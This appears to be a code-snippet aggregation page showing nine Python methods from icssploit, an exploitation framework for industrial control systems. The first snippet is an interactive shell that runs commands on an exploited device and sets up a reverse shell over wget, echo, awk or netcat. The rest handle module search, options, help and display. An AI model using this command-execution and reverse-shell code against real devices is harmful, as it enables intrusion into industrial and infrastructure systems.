Пример #1
0
def shell(exploit, architecture="", method="", **params):
    while 1:
        while not printer_queue.empty():
            pass

        cmd = raw_input("cmd > ")

        if cmd in ["quit", "exit"]:
            return

        c = cmd.split()
        if len(c) and c[0] == "reverse_tcp":
            if len(c) == 3:
                lhost = c[1]
                lport = c[2]

                revshell = reverse_shell(exploit, architecture, lhost, lport)

                if method == "wget":
                    revshell.wget(binary=params['binary'],
                                  location=params['location'])
                elif method == "echo":
                    revshell.echo(binary=params['binary'],
                                  location=params['location'])
                elif method == "awk":
                    revshell.awk(binary=params['binary'])
                elif method == "netcat":
                    revshell.netcat(binary=params['binary'],
                                    shell=params['shell'])
                else:
                    print_error("Reverse shell is not available")
            else:
                print_error("reverse_tcp <reverse ip> <port>")
        else:
            print_info(exploit.execute(cmd))
Пример #2
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         utils.print_info()
         utils.print_error("Operation cancelled by user")
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Пример #3
0
    def command_search(self, *args, **kwargs):
        keyword = args[0]

        if not keyword:
            utils.print_error(
                "Please specify search keyword. e.g. 'search plc'")
            return

        for module in self.modules:
            if keyword.lower() in module.lower():
                module = utils.humanize_path(module)
                utils.print_info(
                    "{}\033[31m{}\033[0m{}".format(*module.partition(keyword)))
Пример #4
0
    def _show_devices(self, *args, **kwargs):  # TODO: cover with tests
        try:
            devices = self.current_module._Exploit__info__['devices']

            utils.print_info("\nTarget devices:")
            i = 0
            for device in devices:
                if isinstance(device, dict):
                    utils.print_info("   {} - {}".format(i, device['name']))
                else:
                    utils.print_info("   {} - {}".format(i, device))
                i += 1
            utils.print_info()
        except KeyError:
            utils.print_info("\nTarget devices are not defined")
Пример #5
0
    def _show_options(self, *args, **kwargs):
        target_opts = ['target', 'port']
        module_opts = [opt for opt in self.current_module.options if opt not in target_opts]
        headers = ("Name", "Current settings", "Description")

        utils.print_info('\nTarget options:')
        utils.print_table(headers, *self.get_opts(*target_opts))

        if module_opts:
            utils.print_info('\nModule options:')
            utils.print_table(headers, *self.get_opts(*module_opts))

        utils.print_info()
Пример #6
0
    def start(self):
        """ icssploit main entry point. Starting interpreter loop. """

        utils.print_info(self.banner)
        printer_queue.join()
        while True:
            try:
                command, args = self.parse_line(raw_input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except icssploitException as err:
                utils.print_error(err)
            except EOFError:
                utils.print_info()
                utils.print_status("icssploit stopped")
                break
            except KeyboardInterrupt:
                utils.print_info()
            finally:
                printer_queue.join()
Пример #7
0
 def command_help(self, *args, **kwargs):
     utils.print_info(self.global_help)
     if self.current_module:
         utils.print_info("\n", self.module_help)
Пример #8
0
 def __show_modules(self, root=''):
     for module in [
             module for module in self.modules if module.startswith(root)
     ]:
         utils.print_info(module.replace('.', os.sep))
Пример #9
0
 def _show_info(self, *args, **kwargs):
     utils.pprint_dict_in_order(
         self.module_metadata,
         ("name", "description", "devices", "authors", "references"),
     )
     utils.print_info()